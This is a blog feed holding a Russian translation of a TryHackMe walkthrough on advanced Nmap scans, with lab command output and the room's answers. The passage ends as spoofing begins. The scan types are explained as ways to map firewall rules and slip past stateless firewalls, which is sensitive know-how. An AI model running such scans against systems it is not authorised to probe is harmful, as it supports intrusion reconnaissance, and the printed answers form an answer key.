<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Penetration Tester</title><author><name>Penetration Tester</name></author><id>https://teletype.in/atom/fnay_offensive</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/fnay_offensive?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/fnay_offensive?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-11T14:07:28.207Z</updated><entry><id>fnay_offensive:post_47</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_47?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 43. Nmap Advanced Port Scans</title><published>2026-03-04T10:19:41.769Z</published><updated>2026-03-04T10:23:02.761Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/47/e7/47e77940-f4d0-43f1-b811-ebb1c539b0ea.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23540a5fcd27454892a73ac051d29664.png&quot;&gt;Изучите продвинутые методы, такие как сканирование с использованием нулевых адресов, FIN-сканирование, сканирование Xmas и сканирование в режиме ожидания (зомби-сканирование), подмена адресов, а также обход брандмауэров и систем обнаружения вторжений.</summary><content type="html">
  &lt;figure id=&quot;uHx9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e7/16/e716d871-0f6c-4f21-a01c-30697c89f8ab.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;sYBR&quot;&gt;Изучите продвинутые методы, такие как сканирование с использованием нулевых адресов, FIN-сканирование, сканирование Xmas и сканирование в режиме ожидания (зомби-сканирование), подмена адресов, а также обход брандмауэров и систем обнаружения вторжений.&lt;/p&gt;
  &lt;figure id=&quot;EhQP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;2q4e&quot;&gt;Task 1. Introduction &lt;/h2&gt;
  &lt;p id=&quot;xQ5M&quot;&gt;Эта комната — третья в серии уроков по Nmap (часть модуля «Введение в сетевую безопасность»). В первых двух комнатах мы изучили обнаружение хостов в режиме реального времени и базовое сканирование портов.&lt;/p&gt;
  &lt;figure id=&quot;fl61&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;uP8Z&quot;&gt;
    &lt;li id=&quot;Ps88&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/nmap01&quot; target=&quot;_blank&quot;&gt;Nmap Live Host Discovery&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;jtMO&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/nmap02&quot; target=&quot;_blank&quot;&gt;Базовое сканирование портов Nmap&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;jfUp&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/nmap03&quot; target=&quot;_blank&quot;&gt;Расширенное сканирование портов Nmap&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;AKUq&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/nmap04&quot; target=&quot;_blank&quot;&gt;Nmap после сканирования портов&lt;/a&gt;&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;tV8V&quot;&gt;В разделе « &lt;a href=&quot;https://tryhackme.com/room/nmap02&quot; target=&quot;_blank&quot;&gt;Базовое сканирование портов с помощью Nmap»&lt;/a&gt; мы рассмотрели флаги TCP и повторили трехэтапное рукопожатие TCP . Для установления соединения TCP требует, чтобы первый пакет имел установленный флаг SYN. ​​Следовательно, мы можем определить, открыт ли порт TCP , по полученному ответу.&lt;/p&gt;
  &lt;p id=&quot;YkR9&quot;&gt;Исследователи безопасности и хакеры изучили флаги TCP , показанные на рисунке ниже и объясненные в предыдущем разделе, и начали экспериментировать. Они хотели узнать, что произойдет, если отправить TCP- пакет, не являющийся частью какого-либо текущего TCP- соединения, с одним или несколькими установленными флагами.&lt;/p&gt;
  &lt;figure id=&quot;Xh7q&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23540a5fcd27454892a73ac051d29664.png&quot; width=&quot;1282&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5Kup&quot;&gt;Например, флаг ACK устанавливается, когда вы хотите подтвердить получение данных. Сканирование ACK — это как попытка подтвердить данные, которые изначально не были ни отправлены, ни получены. Рассмотрим простую аналогию: кто-то внезапно подходит к вам и говорит: «Да, я вас слышу, пожалуйста, продолжайте», хотя вы ничего не сказали.&lt;/p&gt;
  &lt;p id=&quot;llOm&quot;&gt;В этом разделе рассматриваются расширенные типы сканирования и параметры сканирования. Некоторые из этих типов сканирования могут быть полезны для конкретных систем, в то время как другие полезны в определенных сетевых конфигурациях. Мы рассмотрим следующие типы сканирования портов:&lt;/p&gt;
  &lt;ul id=&quot;FaMQ&quot;&gt;
    &lt;li id=&quot;TwlC&quot;&gt;Нулевое сканирование&lt;/li&gt;
    &lt;li id=&quot;k9jD&quot;&gt;Сканирование FIN&lt;/li&gt;
    &lt;li id=&quot;Mlsb&quot;&gt;Рождественское сканирование&lt;/li&gt;
    &lt;li id=&quot;wdlq&quot;&gt;Скан Маймона&lt;/li&gt;
    &lt;li id=&quot;I0pq&quot;&gt;ACK Scan&lt;/li&gt;
    &lt;li id=&quot;edRj&quot;&gt;Сканирование окна&lt;/li&gt;
    &lt;li id=&quot;YZ0p&quot;&gt;Пользовательское сканирование&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;0N0y&quot;&gt;Кроме того, мы рассмотрим следующие вопросы:&lt;/p&gt;
  &lt;ul id=&quot;X1g2&quot;&gt;
    &lt;li id=&quot;RSxl&quot;&gt;Подмена IP-адреса&lt;/li&gt;
    &lt;li id=&quot;lexH&quot;&gt;Подмена MAC-адреса&lt;/li&gt;
    &lt;li id=&quot;YNcc&quot;&gt;Сканирование ложной цели&lt;/li&gt;
    &lt;li id=&quot;ag1W&quot;&gt;Фрагментированные пакеты&lt;/li&gt;
    &lt;li id=&quot;8U1V&quot;&gt;Сканирование в режиме ожидания/ зомби&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Qik5&quot;&gt;Мы обсудим варианты и методы обхода брандмауэров и систем обнаружения вторжений . Мы также рассмотрим способы получения более подробной информации от Nmap .&lt;/p&gt;
  &lt;p id=&quot;2A2R&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;7AuK&quot;&gt;Task 2. TCP Null Scan, FIN Scan, and Xmas Scan &lt;/h2&gt;
  &lt;p id=&quot;jnw8&quot;&gt;Начнём с следующих трёх типов сканирования:&lt;/p&gt;
  &lt;ul id=&quot;VXhi&quot;&gt;
    &lt;li id=&quot;3a0w&quot;&gt;Нулевое сканирование&lt;/li&gt;
    &lt;li id=&quot;a0Q4&quot;&gt;Сканирование FIN&lt;/li&gt;
    &lt;li id=&quot;9PUU&quot;&gt;Рождественское сканирование&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;ARt6&quot;&gt;Нулевое сканирование&lt;/h3&gt;
  &lt;p id=&quot;p1RM&quot;&gt;При сканировании без флагов никакие флаги не устанавливаются; все шесть битов флагов устанавливаются в ноль. Вы можете выбрать этот режим сканирования с помощью соответствующей &lt;code&gt;-sN&lt;/code&gt;опции. TCP-пакет без установленных флагов не вызовет никакого ответа при достижении открытого порта, как показано на рисунке ниже. Поэтому с точки зрения Nmap отсутствие ответа при сканировании без флагов указывает на то, что либо порт открыт, либо брандмауэр блокирует пакет.&lt;/p&gt;
  &lt;figure id=&quot;S1Xv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/04b178a9cf7048c21256988b8b2343e3.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rMAe&quot;&gt;Однако мы ожидаем, что целевой сервер ответит пакетом RST, если порт закрыт. Следовательно, отсутствие ответа RST позволит нам определить, какие порты не закрыты: открыты или отфильтрованы.&lt;/p&gt;
  &lt;figure id=&quot;UVtn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/224e01a913a1ce7b0fb2b9290ff5e1c8.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5FOx&quot;&gt;Ниже приведён пример сканирования на отсутствие ответа на сервере Linux. Проведённое нами сканирование на отсутствие ответа успешно выявило шесть открытых портов в целевой системе. Поскольку сканирование на отсутствие ответа основано на предположении, что порт не закрыт, оно не может с уверенностью указывать на то, что эти порты открыты; существует вероятность того, что порты не отвечают из-за правила брандмауэра.&lt;/p&gt;
  &lt;p id=&quot;yVqN&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;rJM2&quot;&gt;pentester@TryHackMe$ sudo nmap -sN MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:30 BST
Nmap scan report for MACHINE_IP
Host is up (0.00066s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 96.50 seconds&lt;/pre&gt;
  &lt;p id=&quot;oXB0&quot;&gt;Обратите внимание, что для многих параметров Nmap требуются права root. Если вы не запускаете Nmap от имени root, вам необходимо использовать параметр &lt;code&gt;sudo&lt;/code&gt;, как в примере выше &lt;code&gt;-sN&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;8RVB&quot;&gt;Сканирование FIN&lt;/h3&gt;
  &lt;p id=&quot;AP8u&quot;&gt;Сканирование FIN отправляет TCP-пакет с установленным флагом FIN. Вы можете выбрать этот тип сканирования с помощью соответствующей &lt;code&gt;-sF&lt;/code&gt; опции. Аналогично, ответ не будет отправлен, если TCP- порт открыт. Опять же, Nmap не может быть уверен, открыт ли порт или же брандмауэр блокирует трафик, связанный с этим TCP- портом.&lt;/p&gt;
  &lt;figure id=&quot;ogla&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/78eb3d6ba158542f2b3223184b032e64.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UUYm&quot;&gt;Однако целевая система должна ответить RST, если порт закрыт. Следовательно, мы сможем узнать, какие порты закрыты, и использовать эти знания для определения открытых или отфильтрованных портов. Стоит отметить, что некоторые межсетевые экраны могут «молча» отбрасывать трафик, не отправляя RST.&lt;/p&gt;
  &lt;figure id=&quot;4xTT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/74dc07da7351a5a7f258948ec59efccc.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NkIv&quot;&gt;Ниже приведён пример сканирования FIN на сервере Linux. Результат весьма похож на результат, полученный нами ранее при использовании сканирования без проверки.&lt;/p&gt;
  &lt;p id=&quot;N4Ro&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;rfLE&quot;&gt;pentester@TryHackMe$ sudo nmap -sF MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:32 BST
Nmap scan report for MACHINE_IP
Host is up (0.0018s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 96.52 seconds&lt;/pre&gt;
  &lt;h3 id=&quot;AjgI&quot;&gt;Рождественское сканирование&lt;/h3&gt;
  &lt;p id=&quot;qnHh&quot;&gt;Сканирование «Рождественское» получило свое название в честь рождественских гирлянд. При сканировании «Рождественское» одновременно устанавливаются флаги FIN, PSH и URG. Вы можете выбрать сканирование «Рождественское» с помощью соответствующей опции &lt;code&gt;-sX&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;rXAH&quot;&gt;Как и в случае с сканированием Null и сканированием FIN, получение пакета RST означает, что порт закрыт. В противном случае будет указано, что он открыт|отфильтрован.&lt;/p&gt;
  &lt;p id=&quot;DZmW&quot;&gt;На следующих двух рисунках показан случай, когда TCP-порт открыт, и случай, когда TCP-порт закрыт.&lt;/p&gt;
  &lt;figure id=&quot;htpT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/7d28b756aed3b6eb72faf98d6974776c.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;sp4A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/4304eacbc3db1af21657f285bc16ebce.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BYXt&quot;&gt;Приведённый ниже вывод консоли демонстрирует пример сканирования Xmas на сервере Linux. Полученные результаты довольно похожи на результаты сканирования с нулевым значением и сканирования FIN.&lt;/p&gt;
  &lt;p id=&quot;gt2T&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;1OWd&quot;&gt;pentester@TryHackMe$ sudo nmap -sX MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:34 BST
Nmap scan report for MACHINE_IP
Host is up (0.00087s latency).
Not shown: 994 closed ports
PORT    STATE         SERVICE
22/tcp  open|filtered ssh
25/tcp  open|filtered smtp
80/tcp  open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 84.85 seconds&lt;/pre&gt;
  &lt;p id=&quot;H2vW&quot;&gt;Один из сценариев, где эти три типа сканирования могут быть эффективны, — это сканирование цели за межсетевым экраном без сохранения состояния (stateless firewall) . Межсетевой экран без сохранения состояния проверяет, установлен ли входящий пакет флаг SYN для обнаружения попытки подключения. Использование комбинации флагов, не соответствующей пакету SYN, позволяет обмануть межсетевой экран и получить доступ к системе за ним. Однако межсетевой экран с сохранением состояния практически блокирует все такие специально сформированные пакеты и делает этот тип сканирования бесполезным.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;7l5W&quot;&gt;Вопрос: При нулевом сканировании, сколько флагов устанавливаются в значение 1?&lt;/p&gt;
    &lt;p id=&quot;2zNV&quot;&gt;Ответ: 0&lt;/p&gt;
    &lt;p id=&quot;esul&quot;&gt;Вопрос: В ходе сканирования FIN, сколько флагов установлено в значение 1?&lt;/p&gt;
    &lt;p id=&quot;MSqE&quot;&gt;Ответ: 1&lt;/p&gt;
    &lt;p id=&quot;eZzR&quot;&gt;Вопрос: В ходе рождественского сканирования, сколько флагов установлено в значение 1?&lt;/p&gt;
    &lt;p id=&quot;BWhS&quot;&gt;Ответ: 3&lt;/p&gt;
    &lt;p id=&quot;gjM9&quot;&gt;Вопрос: Запустите виртуальную машину и загрузите AttackBox. После того, как оба компонента будут готовы, откройте терминал на AttackBox и используйте nmap для запуска сканирования FIN целевой виртуальной машины. Сколько портов отображается как открытые|отфильтрованные?&lt;/p&gt;
    &lt;p id=&quot;X7ms&quot;&gt;Ответ: 9&lt;/p&gt;
    &lt;p id=&quot;5w8H&quot;&gt;Вопрос: Повторите сканирование, запустив сканирование с нулевым количеством портов на целевой виртуальной машине. Сколько портов отображается как открытые/отфильтрованные?&lt;/p&gt;
    &lt;p id=&quot;JuGb&quot;&gt;Ответ: 9&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;o7I5&quot;&gt;Task 3. TCP Maimon Scan &lt;/h2&gt;
  &lt;p id=&quot;9vZK&quot;&gt;Уриэль Маймон впервые описал это сканирование в 1996 году. В этом сканировании устанавливаются биты FIN и ACK. Целевой объект должен отправить пакет RST в ответ. Однако некоторые системы, основанные на BSD, отбрасывают пакет, если это открытый порт, раскрывающий доступ к открытым портам. Это сканирование не будет работать на большинстве целей, встречающихся в современных сетях; тем не менее, мы включили его в этот раздел, чтобы лучше понять механизм сканирования портов и подход хакеров. Чтобы выбрать этот тип сканирования, используйте соответствующую &lt;code&gt;-sM&lt;/code&gt;опцию.&lt;/p&gt;
  &lt;p id=&quot;dvsS&quot;&gt;Большинство целевых систем отвечают пакетом RST независимо от того, открыт ли TCP-порт. В таком случае мы не сможем обнаружить открытые порты. На рисунке ниже показано ожидаемое поведение как при открытых, так и при закрытых TCP-портах.&lt;/p&gt;
  &lt;figure id=&quot;QeXl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8ca5e5e0f6e0a1843cebe11b5b0785b3.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;O8hr&quot;&gt;Приведённый ниже вывод консоли — это пример сканирования TCP-портов с помощью Maimon на сервере Linux. Как уже упоминалось, поскольку открытые и закрытые порты ведут себя одинаково, сканирование Maimon не смогло обнаружить ни одного открытого порта в целевой системе.&lt;/p&gt;
  &lt;p id=&quot;W0oF&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;l71D&quot;&gt;pentester@TryHackMe$ sudo nmap -sM 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:36 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up (0.00095s latency).
All 1000 scanned ports on ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) are closed
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds&lt;/pre&gt;
  &lt;p id=&quot;ja4a&quot;&gt;Этот тип сканирования не является первым, который обычно выбирают для обнаружения системы; однако важно знать о нем, поскольку никогда не знаешь, когда он может пригодиться.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;R9FW&quot;&gt;Вопрос: Сколько флагов установлено при сканировании Maimon?&lt;/p&gt;
    &lt;p id=&quot;z9pI&quot;&gt;Ответ: 2&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;j3m4&quot;&gt;Task 4. TCP ACK, Window, and Custom Scan &lt;/h2&gt;
  &lt;p id=&quot;9KKR&quot;&gt;В этом задании будет рассмотрено, как выполнить сканирование TCP ACK, сканирование TCP- окна и как создать собственное сканирование флагов.&lt;/p&gt;
  &lt;h3 id=&quot;bTgJ&quot;&gt;Сканирование TCP ACK&lt;/h3&gt;
  &lt;p id=&quot;Fhln&quot;&gt;Начнём с сканирования TCP ACK. Как следует из названия, сканирование ACK отправляет TCP- пакет с установленным флагом ACK. Используйте опцию &lt;code&gt;-sA &lt;/code&gt;для выбора этого сканирования. Как показано на рисунке ниже, целевой сервер ответит на ACK сигналом RST независимо от состояния порта. Такое поведение обусловлено тем, что TCP-пакет с установленным флагом ACK должен отправляться только в ответ на полученный TCP-пакет для подтверждения получения данных, в отличие от нашего случая. Следовательно, в простой конфигурации это сканирование не покажет нам, открыт ли целевой порт.&lt;/p&gt;
  &lt;figure id=&quot;KQCv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a991831cedbb2761dde1fe66012a7311.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9hDy&quot;&gt;В следующем примере мы просканировали целевую виртуальную машину до установки на нее брандмауэра. Как и ожидалось, нам не удалось узнать, какие порты были открыты.&lt;/p&gt;
  &lt;p id=&quot;gUsB&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;sPtN&quot;&gt;pentester@TryHackMe$ sudo nmap -sA MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:37 BST
Nmap scan report for MACHINE_IP
Host is up (0.0013s latency).
All 1000 scanned ports on MACHINE_IP are unfiltered
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
      &lt;/pre&gt;
  &lt;p id=&quot;0eH0&quot;&gt;Такое сканирование было бы полезно, если перед целевым устройством установлен брандмауэр . В результате, на основе того, какие пакеты ACK привели к ответам, вы узнаете, какие порты не были заблокированы брандмауэром . Другими словами, этот тип сканирования больше подходит для обнаружения наборов правил и конфигурации брандмауэра .&lt;/p&gt;
  &lt;p id=&quot;LWu7&quot;&gt;После настройки целевой виртуальной машины &lt;code&gt;MACHINE_IP &lt;/code&gt;с брандмауэром мы повторили сканирование ACK. На этот раз мы получили интересные результаты. Как видно из приведенного ниже вывода консоли, три порта не блокируются брандмауэром. Этот результат указывает на то, что брандмауэр блокирует все остальные порты, кроме этих трех.&lt;/p&gt;
  &lt;p id=&quot;NlMJ&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;NR8p&quot;&gt;pentester@TryHackMe$ sudo nmap -sA MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-07 11:34 BST
Nmap scan report for MACHINE_IP
Host is up (0.00046s latency).
Not shown: 997 filtered ports
PORT    STATE      SERVICE
22/tcp  unfiltered ssh
25/tcp  unfiltered smtp
80/tcp  unfiltered http
MAC Address: 02:78:C0:D0:4E:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds
      &lt;/pre&gt;
  &lt;h3 id=&quot;VOFs&quot;&gt;Сканирование окна&lt;/h3&gt;
  &lt;p id=&quot;xd9N&quot;&gt;Ещё один похожий тип сканирования — сканирование TCP- окна. Сканирование TCP- окна практически идентично сканированию ACK; однако оно анализирует поле TCP- окна в возвращаемых пакетах RST. В некоторых системах это может показать, что порт открыт. Вы можете выбрать этот тип сканирования с помощью опции &lt;code&gt;-sW &lt;/code&gt;. Как показано на рисунке ниже, мы ожидаем получить пакет RST в ответ на наши «незапрошенные» пакеты ACK, независимо от того, открыт порт или закрыт.&lt;/p&gt;
  &lt;figure id=&quot;pHSN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5118dcb424d429376f09bf2f85db5bce.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZTE7&quot;&gt;Аналогично, запуск сканирования TCP-окна в системе Linux без брандмауэра не даст много информации. Как видно из приведенного ниже вывода консоли, результаты сканирования окна в системе Linux без брандмауэра не предоставили никакой дополнительной информации по сравнению с ранее выполненным сканированием ACK.&lt;/p&gt;
  &lt;p id=&quot;YKOz&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;npJE&quot;&gt;pentester@TryHackMe$ sudo nmap -sW MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:38 BST
Nmap scan report for MACHINE_IP
Host is up (0.0011s latency).
All 1000 scanned ports on ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) are closed
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
      &lt;/pre&gt;
  &lt;p id=&quot;s3iy&quot;&gt;Однако, как и следовало ожидать, если мы повторим сканирование TCP- окна на сервере за брандмауэром , мы рассчитываем получить более удовлетворительные результаты. В показанном ниже выводе консоли сканирование TCP- окна указало на то, что три порта обнаружены как закрытые. (Это контрастирует со сканированием ACK, которое пометило те же три порта как нефильтрованные.) Хотя мы знаем, что эти три порта не закрыты, мы понимаем, что они отреагировали по-разному, указывая на то, что брандмауэр их не блокирует.&lt;/p&gt;
  &lt;p id=&quot;VpxO&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;XmhK&quot;&gt;pentester@TryHackMe$ sudo nmap -sW MACHINE_IP

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-07 11:39 BST
Nmap scan report for MACHINE_IP
Host is up (0.00040s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE
22/tcp  closed ssh
25/tcp  closed smtp
80/tcp  closed http
MAC Address: 02:78:C0:D0:4E:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds
      &lt;/pre&gt;
  &lt;h3 id=&quot;AmWy&quot;&gt;Пользовательское сканирование&lt;/h3&gt;
  &lt;p id=&quot;gGco&quot;&gt;Если вы хотите поэкспериментировать с новой комбинацией флагов TCP , выходящей за рамки встроенных типов сканирования TCP , вы можете сделать это с помощью &lt;code&gt;--scanflags &lt;/code&gt;. Например, если вы хотите одновременно установить SYN, RST и FIN, вы можете сделать это с помощью &lt;code&gt;--scanflags RSTSYNFIN &lt;/code&gt;. Как показано на рисунке ниже, если вы разрабатываете собственное сканирование, вам необходимо знать, как будут вести себя различные порты, чтобы правильно интерпретировать результаты в различных сценариях.&lt;/p&gt;
  &lt;p id=&quot;V4wB&quot;&gt;х&lt;/p&gt;
  &lt;figure id=&quot;khBI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/d76c5020f14ac0d66e7ff3812bb0bec3.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GGbz&quot;&gt;Наконец, важно отметить, что сканирование ACK и сканирование окна оказались очень эффективными в составлении карты правил брандмауэра . Однако необходимо помнить, что если брандмауэр не блокирует определенный порт, это не обязательно означает, что служба прослушивает этот порт. Например, возможно, правила брандмауэра необходимо обновить, чтобы отразить недавние изменения в работе служб. Следовательно, сканирование ACK и сканирование окна выявляют правила брандмауэра , а не службы.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;gG59&quot;&gt;Вопрос: Сколько флагов устанавливается при сканировании окна TCP?&lt;/p&gt;
    &lt;p id=&quot;6Wky&quot;&gt;Ответ: 1&lt;/p&gt;
    &lt;p id=&quot;gsxo&quot;&gt;Вопрос: Вы решили поэкспериментировать с пользовательским сканированием TCP, в котором установлен флаг сброса. Что бы вы добавили после  &lt;code&gt;--scanflags&lt;/code&gt;?&lt;/p&gt;
    &lt;p id=&quot;AToE&quot;&gt;Ответ: RST&lt;/p&gt;
    &lt;p id=&quot;BTrq&quot;&gt;Вопрос: Виртуальная машина получила обновление правил брандмауэра. Теперь брандмауэр разрешает новый порт. После того, как вы убедитесь, что завершили работу виртуальной машины из Задания 2, запустите виртуальную машину для этого задания. Запустите AttackBox, если вы еще этого не сделали. Как только обе машины будут готовы, откройте терминал на AttackBox и используйте Nmap для запуска сканирования ACK целевой виртуальной машины. Сколько портов отображается без фильтрации?&lt;/p&gt;
    &lt;p id=&quot;Nr0H&quot;&gt;Ответ: 4&lt;/p&gt;
    &lt;p id=&quot;cOgh&quot;&gt;Вопрос: Какой новый номер порта появился? Чтобы определить новый порт, необходимо сравнить результаты сканирования Задания 2 с результатами этого задания.&lt;/p&gt;
    &lt;p id=&quot;KQpa&quot;&gt;Ответ: 443&lt;/p&gt;
    &lt;p id=&quot;z4zN&quot;&gt;Вопрос: Есть ли какая-либо услуга, связанная с недавно обнаруженным номером порта? (Да/Нет)&lt;/p&gt;
    &lt;p id=&quot;JuIZ&quot;&gt;Ответ: N&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;T6QY&quot;&gt;Task 5. Spoofing and Decoys &lt;/h2&gt;
  &lt;p id=&quot;zw56&quot;&gt;В некоторых сетевых конфигурациях вы можете сканировать целевую систему, используя поддельный IP-адрес и даже поддельный MAC-адрес. Такое сканирование полезно только в том случае, если вы можете гарантировать получение ответа. Если вы попытаетесь сканировать целевую систему из случайной сети, используя поддельный IP-адрес, скорее всего, вы не получите никакого ответа, и результаты сканирования могут быть ненадежными.&lt;/p&gt;
